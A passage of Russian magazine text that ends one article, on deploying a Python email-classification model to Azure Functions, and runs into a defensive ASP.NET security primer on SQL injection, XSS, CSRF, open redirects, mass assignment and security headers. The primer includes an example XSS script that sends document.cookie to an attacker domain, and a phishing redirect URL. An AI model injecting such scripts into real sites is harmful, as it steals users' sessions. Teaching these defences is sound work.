ML  к  таким не отно сит ся,  а  потому  удобс тво реали зации может  переве сить
слож ности с адап таци ей пред варитель ной вер сии.

Итак, на этом эта пе у нас было два скрип та. Скрипт 
 обу чает модель, затем пре обра зован ную и обу чен ную модель он

сох раня ет  в  общий  каталог,  и,  как  пред полага ется,  этот  обу чающий  скрипт
переза пус кает ся  на  локаль ной  машине  по  мере  необ ходимос ти.  Скрипт

 выпол няет ся ежед невно, он сор тиру ет новые элек трон ные пись‐ 
ма по мере пос тупле ния.

Experiments\TraintEx‐
periment.py

Score\run.py

В  этом  раз деле  мы  погово рим  об  опе раци она лиза ции  про цес са
с помощью Azure Functions. Фун кции прос ты в исполь зовании, они поз воля ют
при вязать  скрипт  к  мно жес тву  раз личных  триг геров  (HTTP,  оче реди,  BLOB‐
объ екты хра нили ща, WebHooks и так далее), пре дос тавля ют нес коль ко авто‐ 
мати чес ких  при вязок  вывода  и  при  этом  сто ят  недоро го:  выб рав  план Con‐
sumption,  ты  пла тишь  все го  0,000016  дол лара  за  каж дый  исполь зуемый
гигабайт ОЗУ в секун ду. Но здесь есть огра ниче ния: твоя фун кция не может
выпол нять ся доль ше десяти минут и исполь зовать более 1,5 Гбайт ОЗУ. Если
тебя это не устра ивает, ты всег да можешь перей ти на спе циаль ный тариф ный
план на базе App Service, сох ранив при этом дос туп к дру гим пре иму щес твам
serverless‐под хода.  Одна ко  для  нашей  прос той  логис тичес кой  рег рессии
и пакетов из нес коль ких сотен писем выб ранный план ока зал ся опти маль ным.

С  точ ки  зре ния  прог раммис та,  фун кция —  это  пап ка,  которая  носит  имя
самой  фун кции  (в  нашем  слу чае  это  прос то  )  и  содер жит  два  раз ных
фай ла:

Score

 — это файл, опи сыва ющий кон фигура цию фун кции (фор‐ 
мат см.  );

• function.json

здесь
  —  это  Python‐скрипт,  который  запус кает ся  при  сра баты вании

триг гера.
• run.py

 мож но соз дать вруч ную или скон фигури ровать средс тва ми пор‐ 
тала  Azure.  Код,  который  мы  получи ли  в  дан ном  слу чае,  пред став лен  ниже.
Пер вая  при вяз ка  —    —  запус кает  скрипт  каж дый  раз,  ког да  файл
с име нем, соот ветс тву ющим шаб лону 

,  появ ляет ся  в  выб ранном  по  умол чанию BLOB‐хра нили ще  Azure.
Оставши еся  две  при вяз ки  сох раня ют  выход ные  фай лы  пос ле  успешно го
выпол нения фун кции.  В  дан ном  слу чае мы  сох раня ем  их  в  отдель ную  пап ку

, их име на соот ветс тву ют име ни вход ного фай ла с суф фикса ми 
или  . Таким обра зом,  ты можешь помес тить файл с любым име‐ 
нем‐иден тифика тором,  нап ример  GUID,  в  пап ку  ,  и  два  новых  фай ла
с име нем, про изводным от GUID, через какое‐то вре мя появят ся в пап ке 

.

Function.json

inputcsv
mail‐classify/input/{input_file_‐

name}.csv

output scored
unscorable

input
out‐

put

{
 "bindings": [
   {
     "name": "inputcsv",
     "type": "blobTrigger",
     "path": "mail‐classify/input/{input_file_name}.csv",
     "connection": "apmlstor",
     "direction": "in"
   },
   {
     "name": "scoredcsv",
     "type": "blob",
     "path": "mail‐classify/output/{input_file_name}.scored.csv",
     "connection": "apmlstor",
     "direction": "out"
   },
   {
     "name": "unscorablecsv",
     "type": "blob",
     "path": "mail‐classify/output/{input_file_name}.unscorable.csv"
,
     "connection": "apmlstor",
     "direction": "out"
   }
 ],
 "disabled": false

}

Скрипт    для  фун кций  Azure  прак тичес ки  ана логи чен  нашей  пер‐ 
воначаль ной  «неопе раци она лизо ван ной»  вер сии.  Единс твен ное  изме нение
каса ется  того,  как  фун кции  про пус кают  через  себя  вхо дящие  и  исхо дящие
потоки дан ных. Незави симо от выб ранно го типа вход ных и выход ных дан ных
(HTTP‐зап рос, сооб щение в оче реди, BLOB‐файл...) содер жимое будет хра‐ 
нить ся во вре мен ном фай ле, и путь к нему будет записан в перемен ную сре‐ 
ды с име нем соот ветс тву ющей при вяз ки. Нап ример, в нашем слу чае при каж‐ 
дом  выпол нении  фун кции  соз дас тся  файл  с  име нем 

  и  этот  путь  будет  хра нить ся  в  перемен ной  сре ды  .  Ана‐ 
логич ная опе рация выпол нится для каж дого исхо дяще го фай ла. Учи тывая эту
логику, мы внес ли нес коль ко неболь ших изме нений в скрипт.

run.py

...\Binding\[GUID]\
inputcsv inputcsv

# read file
input_path = os.environ['inputcsv']
input_dir = os.path.dirname(input_path)
input_name = os.path.basename(input_path)
corpus = CsvCorpusReader(input_dir, [input_name],
                        encoding="utf8",
                        default_text_selector=lambda row: row["Text"
])
[...]
# write unscorables
unscorable_path = os.environ['unscorablecsv']
ids_null.to_csv(unscorable_path, index=False) # pandas DataFrame
[...]
# write scored emails
output_path = os.environ['scoredcsv']
result.to_csv(output_path) # pandas DataFrame

Это все изме нения, необ ходимые для запус ка служ бы при появ лении фай ла
CSV в BLOB‐хра нили ще и получе ния в резуль тате фай лов, содер жащих прог‐ 
ноз.

Ес ли чес тно, мы тес тирова ли и дру гие триг геры, но обна ружи ли, что самая
мощ ная фун кция Python — модули — ста новит ся ее прок ляти ем в бес сервер‐ 
ной  сис теме.  Модуль  в  Python  —  это  не  ста тичес кая  биб лиоте ка,  которую
нуж но под клю чить, как во мно гих дру гих язы ках, а код, выпол няемый при каж‐ 
дом  запус ке.  Для  таких  дол госроч ных  решений,  как  служ бы,  это  поч ти
незамет но, но с точ ки зре ния фун кций Azure пол ное выпол нение скрип та каж‐ 
дый раз вле чет за собой доволь но боль шие рас ходы. Это осложня ет исполь‐ 
зование триг геров HTTP в Python, но batch‐обра бот ка на базе CSV‐фай лов,
популяр ная во мно гих ML‐сце нари ях, поз воля ет сни зить эти рас ходы в рас‐ 
чете на стро ку дан ных до разум ного миниму ма.

Ес ли ты не можешь обой тись без триг геров реаль ного вре мени с Python,
ты можешь попытать ся перей ти на выделен ный тариф ный план Azure App Ser‐
vice, пос коль ку это поз воля ет зна читель но уве личить вычис литель ные ресур‐ 
сы хос та и уско рить импорт. В нашем слу чае прос тота реали зации и низ кая
сто имость  пла на  пот ребле ния  переве сили  пре иму щес тва  быс тро го  выпол‐ 
нения.

Преж де  чем  про дол жить,  давай  пос мотрим,  как  мож но  упростить  раз‐ 
работ ку  с  помощью  Visual  Studio  Code.  На  момент  написа ния  этой  статьи
интерфейс    обес печивал  началь ное  фор мирова ние  шаб лонов
Python, но фун кций отладки не было. Тем не менее сре ду выпол нения не так
слож но ими тиро вать, исполь зуя встро енные фун кции VS Code. Нам поможет
файл  ,  поз воля ющий  нас тра ивать  парамет ры  отладки.
Как вид но из JSON ниже, при запус ке debug в  кон фигура ции 
мы  про сим  VS  Code  выпол нить  отладку  скрип та 

 с рабочим катало гом  , кро ме того, мы зада‐ 
ем  перемен ные  сре ды  для  трех  фай лов‐макетов  с  при вяз ками.  Это  пол‐ 
ностью  ими тиру ет  то,  как  эта  фун кция  будет  выпол нять ся  с  помощью  Azure
Functions  (не  забывай  про верить  текущий  рабочий  каталог  при  раз работ ке
скрип та).  При  наличии  этих  нас тро ек  ты  можешь  прос то  открыть  раз дел
отладки    в  VS Code,  выб рать Score  (Python)  в  качес тве
кон фигура ции  и  нажать  Start  Debugging,  что бы  пос троч но  прог нать  код
в редак торе.

Functions  CLI

.vscode\launch.json
Score  (Python)

${workspaceRoot}/Score/
run.py ${workspaceRoot}/Score

Debug  (Ctrl + Alt + D)

[...]
{
   "name": "Score (Python)",
   "type": "python",
   "request": "launch",
   "stopOnEntry": true,
   "pythonPath": "${config:python.pythonPath}",
   "console": "integratedTerminal",
   "program": "${workspaceRoot}/Score/run.py",
   "cwd": "${workspaceRoot}/Score",
   "env": {
       "inputcsv": "${workspaceRoot}/Score/debug/input.csv",
       "outputcsv": "${workspaceRoot}/Score/debug/output.csv",
       "unscorablecsv": "${workspaceRoot}/Score/debug/unscorable.
csv"
   },
   "debugOptions": [
       "RedirectOutput",
       "WaitOnAbnormalExit"
   ]
}
[...]

Ес ли  ты  хочешь  исполь зовать  рас ширение  Jupyter  для  инте рак тивной
поячееч ной раз работ ки и выпол нения, тебе нуж на ана логич ная кон фигура ция
в  коде фун кции.  Поэк спе римен тировав,  мы  оста нови лись  на  вари анте  кода
ниже. Он выпол няет ся толь ко в сре де IPython, а при нор маль ном выпол нении
или отладке через Debug игно риру ется.

if "IPython" in sys.modules and 'Score' not in os.getcwd():
   os.environ['inputcsv'] = os.path.join('debug', 'input.csv')    
   os.environ['scoredcsv'] = os.path.join('debug', 'input.scores.
csv')
   os.environ['unscorablecsv'] = os.path.join('debug', 'input.unscor
able.csv')
   os.chdir('Score')

КОНФИГУРАЦИЯ СРЕДЫ
Те перь, ког да у нас есть готовая модель и код фун кции, приш ло вре мя нас‐ 
тро ить нуж ную инфраструк туру Azure. На момент написа ния этой статьи под‐ 
дер жка Python в фун кци ях Azure все еще находи лась на эта пе пред варитель‐ 
ной  вер сии,  поэто му  тре бова лись  допол нитель ные  шаги  по  нас трой ке.
По  умол чанию  в  сре де  выпол нения  уста нов лен  Python  вер сии  2.7.  Что бы
перей ти  на  более  популяр ную  вер сию  3.6,  в  соот ветс твии  с 

  тебе  нуж но  получить  любой  дос тупный  пакет  Python  (мож но
исполь зовать под готов ленную сре ду) и помес тить его в пап ку 

.  Все  работа ет  дос таточ но  прос то.  Эта  пап ка  пред шес тву ет  пап ке
с  уста нов ленным  по  умол чанию  Python  2.7  в  перемен ной  PATH  в  момент
поис ка python.exe для исполне ния.

офи циаль ной
стать ей  в  wiki

D:\home\site\
tools

Ты  можешь  сде лать  это  вруч ную  с  помощью  встро енно го  поль зователь‐ 
ско го интерфей са Kudu, как показа но в статье, одна ко я выяс нил, что пре дус‐ 
мотрен ная  для  него  спе циаль ная  фун кция  более  удоб на.  Фун кция 
показы вает, как мы это делали во вре мя работы над про ектом. Сна чала фун‐ 
кция про веря ет, уста нов лена ли вер сия 3.6, если нет, то она заг ружа ет пред‐ 
варитель но скон фигури рован ный архив (.zip) с Python и извле кает его в пап ку

.

setup

D:\home\site\tools

tools_path = 'D:\\home\\site\\tools'
if not sys.version.startswith('3.6'):
   # in python 2.7
   import urllib
   print('Installing Python Version 3.6.3')
   from zipfile import ZipFile
   if not os.path.exists(tools_path):
       os.makedirs(tools_path)
       print("Created [{}]".format(tools_path))
   python_url = 'https://apmlstor.blob.core.windows.net/wheels/
python361x64.zip'
   python_file = os.path.join(tools_path, 'python.zip')
   urllib.urlretrieve(python_url, python_file)
   print("Downloaded Python 3.6.3")
   python_zip = ZipFile(python_file, 'r')
   python_zip.extractall(tools_path)
   python_zip.close()
   print("Extracted Python to [{}]".format(tools_path))
   print("Please rerun this function again to install required pip 
packages")
   sys.exit(0)

Да лее  нуж но  уста новить  тре буемые  пакеты  pip.  Pip  име ет  встро енный  API
для Python, поэто му работать с ним из Python  так же прос то,  как в обыч ной
коман дной  стро ке.  Из  кода  ниже  вид но,  что  исполь зуемые  толь ко  в  Python
пакеты ( ,  )  уста нов лены, поэто му от нас не  тре бует ся никаких
допол нитель ных дей ствий. Проб лема воз никнет лишь с пакета ми, соз данны‐ 
ми с помощью C++. В плат форме App Service отсутс тву ет ком пилятор Visual
C++, поэто му оста ется толь ко исполь зовать пред варитель но ском пилиро ван‐ 
ные  пакеты  (wheels).  Некото рые  из  них  уже  при сутс тву ют  в  репози тории  pip
(про верить мож но  ), для дру гих спе цифич ных ML‐пакетов мож но най ти
необ ходимый wheel  . В дан ном слу чае я исполь зовал Azure Blob Storage,
что бы  сде лать  эти  пакеты  дос тупны ми  для  фун кции  Azure.  Ты  можешь  пов‐ 
торно исполь зовать эти ссыл ки или перевы ложить их в любое пуб лично дос‐ 
тупное хра нили ще.

langid pymorphy

здесь
здесь

def install_package(package_name):
   pip.main(['install', package_name])
install_package('https://apmlstor.blob.core.windows.net/wheels/
numpy‐1.13.1%2Bmkl‐cp36‐cp36m‐win_amd64.whl')
install_package('https://apmlstor.blob.core.windows.net/wheels/
pandas‐0.20.3‐cp36‐cp36m‐win_amd64.whl')
install_package('https://apmlstor.blob.core.windows.net/wheels/
scipy‐0.19.1‐cp36‐cp36m‐win_amd64.whl')
install_package('https://apmlstor.blob.core.windows.net/wheels/scikit
_learn‐0.18.2‐cp36‐cp36m‐win_amd64.whl')
install_package('https://apmlstor.blob.core.windows.net/wheels/
gensim‐2.3.0‐cp36‐cp36m‐win_amd64.whl')
install_package('https://apmlstor.blob.core.windows.net/wheels/
nltk‐3.2.4‐py2.py3‐none‐any.whl')
install_package('langid')
install_package('pymorphy2')

Этот же под ход ока зал ся эффекти вен для выпол нения допол нитель ных шагов
пос ле нас трой ки. Что бы наше решение работа ло, нуж но уста новить два кор‐ 
пуса, спе цифич ных для NLTK. При веден ный ниже код выпол няет ся сра зу пос‐ 
ле набора команд  .install_packages

import nltk;
nltk_path = os.path.abspath(os.path.join('..', 'lib', 'nltk_data'))
if not os.path.exists(nltk_path):
   os.makedirs(nltk_path)
   print("INFO: Created {0}".format(nltk_path))
nltk.download('punkt', download_dir=os.path.join('..', 'lib', 'nltk_d
ata'))
nltk.download('stopwords', download_dir=os.path.join('..', 'lib', 
'nltk_data'))

Пос коль ку весь код в фун кции Setup идем потен тный, ты можешь без проб лем
добавить  дру гие  эта пы  нас трой ки  или  уста новить  допол нитель ные  пакеты.
Обра ти вни мание, что в пер вый раз эта фун кция дол жна запус тить ся дваж ды:
сна чала,  что бы  перей ти  на  Python  3.6,  а  затем,  что бы  уста новить  нуж ные
пакеты.

ЗАКЛЮЧЕНИЕ
Нес мотря на слож ные нас трой ки и огра ниче ния, свя зан ные с пред варитель‐ 
ным  запус ком,  Azure  Functions  показа ли  себя  как  доволь но  удоб ный
и  эффектив ный  инс тру мент  опе раци она лиза ции  ML‐моделей  Python.  Наш
пер воначаль ный про ект был раз вернут в про изводс твен ной сре де, и модель
ML помог ла зна читель но улуч шить резуль таты по срав нению с уже сущес тву‐ 
ющи ми под ходами.

WWW

Код  для  изу чения  и  пов торно го  исполь зования
дос тупен в  .ре пози тории на GitHub
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ASP.NET MVC — не самый хай повый, но доволь но популяр‐ 
ный  стек  в  сре де  веб‐раз работ чиков.  С  точ ки  зре ния
(анти)хакера,  его  стан дар тная  фун кци ональ ность  дает  тебе
кое‐какой  базовый  уро вень  безопас ности,  но  для  пре дох‐ 
ранения от абсо лют ного боль шинс тва хакер ских трю ков нуж‐ 
на  допол нитель ная  защита.  В  этой  статье  мы  рас смот рим
осно вы, которые дол жен знать о безопас ности ASP.NET‐раз‐ 
работ чик (будь то Core, MVC, MVC Razor или Web Forms).

Нач нем со всем извес тных видов атак.

SQL INJECTION
Как ни стран но, но в 2017 году injection и, в час тнос ти, SQL injection находят ся
на пер вом мес те сре ди «Toп‐10 рис ков безопас ности OWASP» (

). Этот вид ата ки под разуме вает, что вве ден ные поль‐ 
зовате лем дан ные исполь зуют ся на сер верной сто роне в качес тве парамет‐ 
ров зап роса.

Open Web Ap‐
plication Security Project

При мер клас сичес кой SQL‐инъ екции ско рее харак терен имен но для при‐ 
ложе ний Web  Forms. От  атак  помога ет  защитить ся  исполь зование  парамет‐ 
ров в качес тве зна чений зап роса:

string commandText = "UPDATE Users SET Status = 1 WHERE CustomerID = 
@ID;";
SqlCommand command = new SqlCommand(commandText, connectionString);
command.Parameters["@ID"].Value = customerID;

Ес ли  ты  раз рабаты ваешь MVC‐при ложе ние,  то  Entity  Framework  прик рыва ет
некото рые  уяз вимос ти.  Получить  сра ботав шую  в MVC/EF‐при ложе нии  SQL‐
инъ екцию  нуж но  умуд рить ся.  Одна ко  это  воз можно,  если  ты  выпол няешь
SQL‐код  с  помощью    или  вызыва ешь  пло хо  написан ные  хра‐ 
нимые про цеду ры.

ExecuteQuery

Нес мотря  на  то  что  ORM  поз воля ет  избе жать  SQL‐инъ екции  (за  исклю‐ 
чени ем  при веден ных  выше  при меров),  рекомен дует ся  огра ничи вать  атри‐ 
бута ми зна чения, которые могут при нимать поля модели, а зна чит, и фор мы.
Нап ример,  если  под разуме вает ся,  что  в  поле  может  быть  вве ден  толь ко
текст, то с помощью Regex ука жи диапа зон  . А если в поле дол‐ 
жны быть вве дены циф ры, то ука жи это как тре бова ние:

^[a‐zA‐Z]+$

[RegularExpression(@"\d{5}", ErrorMessage = "Индекс должен содержать 
5 цифр")]
public  string Zip {  get;  set; }

В Web Forms огра ничить зна чения мож но с помощью валида торов. При мер:

<asp:TextBox id="txtName" runat="server"></asp:TextBox>
<asp:RegularExpressionValidator id="nameRegex" runat="server" Contro
lToValidate="txtName"
   ValidationExpression="^[a‐zA‐Z'.\s]{1,40}$" ErrorMessage=
"Ошибочное значение в поле имени" />

На чиная с .NET 4.5 Web Forms исполь зуют Unobtrusive Validation. А это зна чит,
что не тре бует ся писать какой‐то допол нитель ный код для про вер ки зна чения
фор мы.

Ва лида ция дан ных,  в  час тнос ти, может помочь защитить ся от еще одной
всем извес тной уяз вимос ти под наз вани ем cross‐site scripting (XSS).

XSS
Ти пич ный  при мер  XSS  —  добав ление  скрип та  в  ком мента рий  или  запись
в гос тевую кни гу. Выг лядеть он может так:

<script>document.location='https://verybadcoolhacker.com/?cookie='+
encodeURIComponent(document.cookie)</script>

Как  ты  понима ешь,  в  дан ном  при мере  куки  с  тво его  сай та  переда ются
в качес тве парамет ра на какой‐то хакер ский ресурс.

В Web Forms мож но совер шить ошиб ку с помощью при мер но такого кода:

<p>Извините <%= username %>, но пароль ошибочный</p>

По нят но,  что  вмес то  username  может  быть  скрипт.  Что бы  избе жать  выпол‐ 
нения скрип та, мож но как минимум исполь зовать дру гое ASP.NET‐выраже ние:
<%: username %>, которое энко дит свое содер жимое.

Ес ли  мы  исполь зуем  Razor,  то  стро ки  авто мати чес ки  энко диру ются,  что
сво дит воз можность реали зации XSS к миниму му — хакер смо жет ее про вер‐ 
нуть,  толь ко  если  ты  гру бо  оши бешь ся,  нап ример  исполь зуешь 

  или  заюзаешь  в  сво ей  модели    вмес то
.

@Html.Raw(
Model.username) MvcHtmlString
string

Для допол нитель ной защиты от XSS дан ные кодиру ются еще и в коде C#.
В  .NET Core мож но исполь зовать  сле дующие  кодеры из  прос транс тва  имен

:  ,    и 
.

System.Text.Encodings.Web HtmlEncoder JavaScriptEncoder UrlEn‐
coder

Сле дующий при мер вер нет стро ку  :<script>

string encodedString = HtmlEncoder.Default.Encode("<script>");

В  клас сичес ком  .NET  исполь зует ся  .  А  начиная
с  .NET 4.5 мож но сде лать    энко дером по  умол чанию. Дела‐ 
ется это добав лени ем в тег   фай ла   одно го атри бута:

HttpUtility.HtmlEncode
AntiXssEncoder
httpRuntime web.config

<httpRuntime targetFramework="4.7" encoderType="System.Web.Security.
AntiXss.AntiXssEncoder" />

Та ким  обра зом,  сох ранив  ста рый  код  ,  мы  будем
поль зовать ся новым и более стой ким к уяз вимос тям клас сом (так же в новом
коде будут задей ство ваны ста рые клас сы   и 

).

HttpUtility.HtmlEncode

HttpServerUtility HttpRespon‐
seHeader

Ре комен дует ся кодиро вать стро ки не перед сох ранени ем в базу, а перед
отоб ражени ем. Кро ме того, если мы исполь зуем какую‐то стро ку, вве ден ную
поль зовате лем,  в  качес тве  парамет ра  для  переда чи  в  URL,  то  обя затель но
нуж но юзать  .UrlEncoder

CROSS-SITE REQUEST FORGERY (CSRF)
Ви кипе дия  в  «али экс прес сов ском»  сти ле  утвер жда ет,  что  на  рус ском  CSRF
зву чит как «меж сай товая под делка зап роса». При таком типе ата ки вре донос‐ 
ный  сайт,  на  который  заходит  поль зователь,  отправ ляет  зап росы  на  дру гой
ресурс.  На  хороший  сайт,  на  котором  поль зователь  зарегис три рован
и  который  он  недав но  посещал.  Может  слу чить ся  так,  что  информа ция
об авто риза ции на хорошем сай те все еще оста ется в cookie. Тог да впол не
может быть совер шено и какое‐то скры тое вре донос ное дей ствие.

Из бежать этой ата ки в MVC помога ет всем извес тный  хел пер 
,  добав ленный  во  View,  и  добав ленный  перед  action  кон‐ 

трол лера атри бут  . Этот спо соб защиты отно‐ 
сит ся  к  типу  STP  (synchronizer  token  pattern).  Суть  в  том,  что  при  заходе
на стра ницу сер вер отправ ляет поль зовате лю токен, а пос ле того, как поль‐ 
зователь совер шает зап рос, он вмес те с дан ными отправ ляет токен сер веру
обратно  для  про вер ки.  Токены  могут  сох ранять ся  как  в  заголов ке,  так  и  в
скры том поле или в кукисах.

@Html.An‐
tiForgeryToken()

[ValidateAntiForgeryToken]

Стра ницы Razor защище ны от XSRF/CSRF‐атак по умол чанию. А вот если
мы  исполь зуем  AJAX‐зап росы,  то  есть  воз можность  отпра вить  токены
в заголов ке. По срав нению с исполь зовани ем   это не так
прос то.  Для  нас трой ки  этой  воз можнос ти  ASP.NET  Core  исполь зует  сер вис

.  Клас сичес кие  ASP.NET‐при ложе‐ 
ния исполь зуют метод   для генера ции токенов и 

 для про вер ки получен ных сер верной сто роной токенов.

AntiForgeryToken

Microsoft.AspNetCore.Antiforgery.IAntiforgery
AntiForgery.GetTokens An‐

tiForgery.Validate
Под робнее мож но почитать здесь:  .Anti‐CSRF and AJAX

OPEN REDIRECT ATTACKS
Будь осто рожен с редирек тами! Сле дующий код очень опа сен:

Response.Redirect(Request.QueryString["Url"]);

Ата кующий может добавить ссыл ку на свой сайт. А поль зователь же, уви дев,
что  URL  начина ется  с  хороше го  сай та,  может  не  рас смот реть  адрес  пол‐ 
ностью (осо бен но если он длин ный) и клик нуть ссыл ку, таким обра зом перей‐ 
дя на вре донос ный сайт с тво его, хороше го (у тебя же хорошие сай ты?). Эта
уяз вимость  может  исполь зовать ся,  в  час тнос ти,  для  фишин га.  При мер
фишин говой ссыл ки:

http://www.goodwebsite.com/Redirect?url=http://www.badwebsite.com

Мно гие  поль зовате ли,  получив  email  со  ссыл кой,  смот рят,  сов пада ет  ли
домен,  и  сов сем  не  ожи дают  переб роски  на  зло дей ский  ресурс.  А  если
по  редирек ту  откро ется  стра ница  с  таким  же  дизай ном,  то  мно гие  поль‐ 
зовате ли  не  задумы ваясь  вве дут  свои  логин  и  пароль  (решив,  что  слу чай но
выш ли  из  акка унта).  Пос ле  чего,  кста ти,  могут  быть  перенап равле ны  зло‐ 
умыш ленни ками обратно на нас тоящий сайт.

Этот вид атак каса ется и MVC. В сле дующем при мере про исхо дит про вер‐ 
ка на то, явля ется ли ссыл ка локаль ной:

private ActionResult RedirectToLocalPage(string redirectUrl)
{
   if (Url.IsLocalUrl(redirectUrl))  return Redirect(redirectUrl);
   // ...
}

Для защиты от это го типа атак мож но исполь зовать и вспо мога тель ный метод
:LocalRedirect

private ActionResult RedirectToLocalPage(string redirectUrl)
{
   return LocalRedirect(redirectUrl);
}

В общем, ста рай ся никог да не доверять получен ным дан ным.

MASS ASSIGNMENT
Раз берем  эту  уяз вимость  на  при мере.  Допус тим,  в  нашем  веб‐сай те  есть
прос тая модель с дву мя свой ства ми:

public class UserModel
{
 public string Name { get; set; }
 public bool IsAdmin { get; set; }

}

И есть обыч ная и доволь но прос тая вьюш ка:

@model UserModel
<form asp‐action="Vulnerable" asp‐Controller="Home">
   <div class="form‐group">
       <label asp‐for="Name"></label>
       <input class="form‐control" type="text" asp‐for="Name" />
   </div>
   <div class="form‐group">
       @if (Model.IsAdmin)
       {
           <i>You are an admin</i>
       }
       else
       {
           <i>You are a standard user</i>
       }
   </div>
   <button class="btn btn‐sm" type="submit">Submit</button>
</form>

С  помощью  этой  вьюш ки  мож но  редак тировать  толь ко  имя  поль зовате ля,
не так ли?

А теперь давай перей дем к столь же прос тому коду:

[HttpPost]
public IActionResult Vulnerable(int id, UserModel model)
{
   return View("Index", model);
}

Все ли здесь нор маль но? Как ока зыва ется, нет. А все из‐за того, что экшен
помечен  как  .  Что бы  убе дит ся  в  этом,  дос таточ но  открыть  ути литу
вро де  Postman  или  Fiddler  и  отпра вить  POST‐зап рос  на  адрес  с  ука зани ем
парамет ров  id и  IsAdmin. Если мы тес тиру ем локаль но, то адрес может быть
таким: localhost:51696/Home/Vulnerable?id=34&IsAdmin=true.

HttpPost

Ре зуль тат выпол нения POST‐зап роса

Как вид но на скрин шоте, получен дос туп  к сек ретной информа ции  (в HTML‐
коде  есть  стро ка  You  are  an  admin).  Как  защитить ся  от  это го  типа  ата ки?
Самый прос той вари ант — не попадать в ситу ацию, ког да с HttpPost переда‐ 
ется  какой‐нибудь  объ ект.  А  если  это го  не  избе жать,  нуж но  быть  готовым
к  тому,  что  переда но  может  быть  все  что  угод но.  Один  из  вари антов  —
это  соз дать  какой‐то  отдель ный  класс  для  переда чи  его  через  HttpPost.
Это  может  быть  как  базовый  класс  текуще го  клас са  с  обще дос тупны ми
парамет рами,  так  и  класс‐двой ник.  В  этом  клас се  важ ные  поля  мож но
пометить атри бутом Editable со зна чени ем false:

[Editable(false)]

HEADER’Ы ПРОТИВ АТАК
Уте реть нос хакерам помога ет уста нов ка опре делен ных зна чений в заголо вок
зап роса. Заголов ки под держи вают ся боль шинс твом сов ремен ных бра узе ров
(да‐да, ста рые вер сии идут лесом), поэто му сей час мы рас смот рим некото‐ 
рые популяр ные виды атак, избе жать которых поможет уста нов ка Header’ов.

XSS
Для допол нитель ной защиты мож но исполь зовать заголо вок 

. Он поз волит заг ружать кон тент лишь с опре делен ных ресур сов.
Нап ример, мож но раз решить запуск скрип тов толь ко с текуще го сай та:

content‐secu‐
rity‐policy

content‐security‐policy: script‐src 'self'

Есть  еще  воз можность  ука зать  доверен ные  сай ты,  дос туп  к  содер жимому
которых раз решен. Сле дующий заголо вок тоже помога ет защитить ся от XSS,
хотя, как пра вило, он вклю чен бра узе рами по умол чанию:  .
При мер:

x‐xss‐protection

x‐xss‐protection: 1; mode=block

Clickjacking
Сайт  может  показать  поль зовате лю  окош ко,  ссыл ку  или  бан нер,  поверх
которо го  добав лена  скры тая  кноп ка/ссыл ка  внут ри  проз рачно го  iframe.
И получа ется,  что  поль зователь  кли кает  на  что‐то,  на  что он  хочет  клик нуть,
но при этом фак тичес ки он щел кает на скры тый объ ект про тив сво ей воли.

Ус танов ка  заголов ка  X‐FRAME‐OPTIONS  со  зна чени ем    зап ретит
помещать стра ницы тво его сай та в iframe. Если у тебя на сай те нет фрей мов,
то  это  хороший  вари ант.  Если  же  ты  исполь зуешь  iframe  для  отоб ражения
стра ниц,  то  зна чение    раз решит  отоб ражать  стра ницы  сай та
во фрей ме, но толь ко на дру гих стра ницах того же самого тво его сай та.

DENY

SAMEORIGIN

MIME sniffing
За час тую  зло умыш ленник  может  заг рузить  вре донос ный  код  в  виде  фай ла
с  совер шенно  безобид ным  рас ширени ем.  Допус тим,  исполь зуя  в  качес тве
тега  video.  И  может  слу чить ся  так,  что  бра узер  рас позна ет  файл  как  код
и выпол нит его. Что бы это го не про изош ло, может исполь зовать ся уста нов ка
заголов ка  .  При  получе нии  это го
заголов ка бра узер будет  про верять,  соот ветс тву ет  ли фор мат  содер жимого
фай ла тому, который ука зан (эта про вер ка и называ ется MIME sniffing).

X‐Content‐Type‐Options:  nosniff

Referrer-Policy
Бра узе ры  авто мати чес ки  добав ляют  в  заголов ки  зап росов  при  перехо де
на сайт ссыл ку на тот, с которо го был совер шен переход. Это очень удоб но
для ана лити ки. Нап ример, не сос тавит боль шого тру да написать код, который
соберет ста тис тику со спис ком ресур сов, отку да посети тели заходят на твой
сайт.  Одна ко  если  в  стро ке  адре са  на  тво ем  сай те  име ются  зап росы
с  какой‐то  кон фиден циаль ной  информа цией,  то  очень  желатель но  было  бы
скрыть эту информа цию от дру гих сай тов. Нап ример:

http://www.somegoodsite.com/Edit?id=34543276654

Для того что бы скрыть ссыл ку при перехо де на чужой сайт, мож но уста новить
заголо вок со зна чени ем  .Referrer‐Policy: no‐referrer
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Ка ким обра зом мож но добавить на сайт заголов ки зап росов?
За голов ки зап росов мож но уста новить как с помощью нас тро ек  IIS,  так и из
кода  при ложе ния.  Нас трой ку  IIS  рас смат ривать  не  будем,  а  погово рим
про вари анты уста нов ки заголов ков из кода.

Что бы  добавить  заголо вок  в  ASP.NET  Core,  мож но  соз дать  Middleware.
Middleware, как мож но понять из наз вания, — это про межу точ ный код, находя‐ 
щий ся посере дине цепоч ки про цес са зап росов и отве тов. Вот при мер пары
клас сов, поз воля ющих добавить заголо вок  :X‐Frame‐Options:DENY

public class HeadersMiddleware
{
   private readonly RequestDelegate _next;
   public HeadersMiddleware(RequestDelegate next)
   {
       _next = next;
   }
   public async Task Invoke(HttpContext context)
   {
       IHeaderDictionary headers = context.Response.Headers;
       headers["X‐Frame‐Options"] = "DENY";
       await _next(context);
   }
}
public static class HeadersMiddlewareExtensions
{
   public static IApplicationBuilder UseHeadersMiddleware(this 
IApplicationBuilder builder)
   {
       return builder.UseMiddleware<HeadersMiddleware>();
   }
}

За регис три ровать получив ший ся Middleware мож но в методе Configure фай ла
Startup.cs одной стро кой:

app.UseHeadersMiddleware();

Те перь сре ди спис ка заголов ков, получен ных от сер вера, мы смо жем уви деть
наш недав но добав ленный X‐Frame‐Options.

Спи сок заголов ков

Мож но даже не исполь зовать Middleware, а добавить заголо вок сра зу в метод
Config фай ла Startup.cs, заменив

app.UseHeadersMiddleware();

на

app.Use(async (context, next) =>
{
   context.Response.Headers.Add("X‐Frame‐Options", "SAMEORIGIN");
   await next();
});

Этот спо соб выг лядит про ще. Кро ме того, с его помощью мож но уста новить
заголов ки как для все го кон тента, так и толь ко для динами чес кого (соот ветс‐ 
твен но, добавить код до стро ки app.UseStaticFiles() и пос ле).

INFO

Ди нами чес кий  кон тент  —  это  фай лы,  которые
содер жат  в  себе  динами чес кие  дан ные  модели.
Ста тичес кий  кон тент  —  это  такие  фай лы,
как HTML, CSS, JS, JPG и подоб ные.

В  клас сичес ком  ASP.NET  заголо вок  добав ляет ся  нем ного  ина че.  Есть  два
вари анта. Пер вый — это добавить в сек цию   фай ла 

